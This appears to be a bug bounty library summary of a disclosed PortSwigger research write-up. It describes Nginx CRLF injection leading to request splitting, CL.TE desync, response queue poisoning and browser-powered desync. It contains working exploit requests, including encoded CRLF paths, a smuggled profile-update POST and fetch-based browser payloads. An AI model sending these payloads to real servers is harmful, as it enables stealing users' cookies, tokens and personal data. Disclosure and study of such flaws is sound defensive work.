# CRLF-Powered Desync Attacks: Beheading HTTP Streams

Nginx $uri proxy_pass CRLF injection enables request splitting, CL.TE desync, response queue poisoning, and browser-powered desync worms stealing cookies and PII.

- Payout: $20,000
- Severity: critical
- Program: Nginx
- Write-up by: PortSwigger Research
- Disclosed: 2026-08-05
- Write-up quality: 10/10
- Original: https://portswigger.net/research/crlf-powered-desync-attacks
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-crlf-powered-desync-attacks
- Tags: area:cloud domain:infra impact:ato impact:data-leak impact:dos kind:research platform:research sev:critical tech:nginx technique:chained vuln:cache-poisoning vuln:crlf-injection vuln:request-smuggling vuln:xss

**Target:** Nginx reverse proxy / CDN edge (proxy_pass with $uri)
**Root cause:** Nginx url-decodes %0d%0a in $uri before proxy_pass, letting attackers inject CRLF and control the upstream request structure; same flaw in return/redirect directives enables response header injection.
**Steps:**
1. Detect injection: `GET /%20HTTP/13.37%0d%0aFoo:%20bar HTTP/1.1` returns 505; `Transfer-Encoding: x` returns 501.
2. Split request with two CRLFs: `GET /%20HTTP/1.1%0d%0aHost:%20example.com%0d%0aConnection:%20keep-alive%0d%0a%0d%0aTRACE%20/%20HTTP/1.1%0d%0aX:%20x HTTP/1.1`.
3. Trigger CL.TE desync by injecting `Transfer-Encoding: chunked` into a request with Content-Length, then smuggle `0\r\n\r\nPOST /user/update?email=t0x@atk.cc`.
4. For browser-powered: fetch `https://example.com/%20HTTP/1.1%0d%0aTransfer-Encoding:%20chunked%0d%0aFoo:%20bar` with body `0\r\n\r\nTRACE / HTTP/1.1\r\nX: x`.
5. Use HEAD + Range gadget to over-read smuggled responses and reflect XSS payloads.
**How found:** Started from a Bluesky post claiming request splitting was common; combined James Kettle's desync techniques with Sergey Bobrov's Nginx $uri misconfiguration research. Scanned broadly for header injection, then tested single-header injection for CL.TE desync when double-CRLF splitting failed. Used Claude to generate detection ideas (Expect header/417) and HEAD gadget response sizes.
**Exploitation:** Attacker injects CRLF via encoded path/cookie/header into Nginx proxy_pass, splitting requests upstream. Smuggled requests cause response queue poisoning, harvesting other users' responses (cookies, tokens, PII, card numbers). Browser-powered variants use fetch/window.open/iframes to execute desync from victim browsers, achieving XSS, HTTPOnly cookie theft via Set-Cookie pushed into body, and self-replicating worms.
**Escalation:** Chained header injection to RQP for mass data theft; moved desync into victim browser to bypass IP/connection-locked restrictions; used HEAD+Range gadget for arbitrary-length over-read; combined with CORS misconfig to extract auth tokens; response header injection + CDN-Cache-Control to strip Location and achieve XSS on redirects.
**Insight:** When double-CRLF request splitting is blocked, try injecting a single Transfer-Encoding header to force CL.TE desync; also test non-path insertion points like cookies and custom upstream headers, and use the Expect: 100-continue header to make Nginx over-read and reveal blind tunnelled responses.

## Proof of concept (copied exactly from the original report)

**Nginx CRLF header injection producing 400**

```
GET /%20HTTP/1.1%0d%0aContent-Length:%20X%0d%0aX:%20x HTTP/1.1
Host: example.com
GET / HTTP/1.1
Content-Length: X
X: x HTTP/1.1
Host: example.com
```

**Request splitting RQP via double CRLF**

```
GET /<@urlencode_all> HTTP/1.1
Host: example.com
Connection: keep-alive

TRACE / HTTP/1.1
X: x</@urlencode_all> HTTP/1.1
Host: example.com
```

**CRLF-powered CL.TE desync profile update**

```
POST /<@urlencode_all> HTTP/1.1
Transfer-Encoding: chunked
Foo: bar</@urlencode_all> HTTP/1.1
Host: clothes.shop
Content-Length: 66

0

POST /user/update?name=t0xodile
Cookie: SESSID=abcdefg
X: xHTTP/1.1 200 OK

GET / HTTP/1.1
Host: clothes.shop 
HTTP/1.1 200 OK
Set-Cookie: SESSID=abcdefg

Profile Updated
```

